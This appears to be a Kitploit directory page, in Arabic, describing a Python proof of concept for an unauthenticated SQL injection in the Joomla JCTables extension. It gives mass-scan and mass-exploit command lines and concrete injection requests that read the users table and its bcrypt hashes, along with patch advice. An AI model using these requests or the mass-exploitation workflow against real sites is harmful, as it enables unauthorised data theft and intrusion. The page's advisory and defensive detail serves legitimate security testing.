Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-76570 — أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76570: حقن SQL غير مُصادَق عليه في واجهة JSON الأمامية لامتداد Joomla JCTables (com_jctables)، مع أوضاع الفحص والاستغلال والمسح الجماعي. | Kitploit
أدوات/GitHubGitHub/murrez/cve-2026-76570
ماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubmurrez/cve-2026-76570

CVE-2026-76570

أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76570: حقن SQL غير مُصادَق عليه في واجهة JSON الأمامية لامتداد Joomla JCTables (com_jctables)، مع أوضاع الفحص والاستغلال والمسح الجماعي.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-76570 — JCTables (com_jctables) قراءة/كتابة SQL دون مصادقة

إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-76570 — Joomcode JCTables — حقن SQL دون مصادقة على واجهة JSON CRUD في الواجهة الأمامية (getdatarow، getrow، …).

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (منشور 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
المكوّنcom_jctables
المتأثر1.0.0 – 1.20.0 (المختبر: ≤ 1.10.31.2 مؤكد)
الإصلاح≥ 1.21.1 (2026-08-05)
CWECWE-89، CWE-862
CVSS 4.010.0 حرج — AT:N (دون إعداد إداري خاص)
التحليلVulnCheck — سلسلة قراءة/كتابة SQL في JCTables → تنفيذ تعليمات برمجية عن بُعد

الآلية (باختصار)

مهام وحدة التحكم في الواجهة الأمامية لا تملك رمزًا مميزًا (token) / قائمة تحكم بالوصول (ACL). تُدمج أسماء الجداول والأعمدة الواردة في الطلب داخل استعلام SQL؛ وتعتبر ladb_escape() القيم المُحاطة بعلامات اقتباس "مُهرَّبة مسبقًا". يمكن لـ getdatarow قراءة جداول قاعدة البيانات الاعتباطية (مثل {prefix}users). يثبت هذا الـ PoC القراءة (صف اسم المستخدم / bcrypt) — ولا ينفّذ سلسلة تسجيل الدخول الإداري / تنفيذ التعليمات البرمجية عن بُعد الكاملة عبر الإضافة.

علامة النجاح: POCBIT-76570-OK (في بيانات إثبات JSON الوصفية).

المتطلبات

  • Python 3.9+
  • pip install requests urllib3 colorama

الاستخدام

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

سطح واجهة API

الخطوةالطلب
قراءة صفGET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
استعلام منطقي (Boolean)GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

المعالجة

قم بترقية JCTables إلى 1.21.1+ أو أزل المكوّن.

قانوني

للاختبار الأمني المصرّح به فقط.

تنزيل الأداة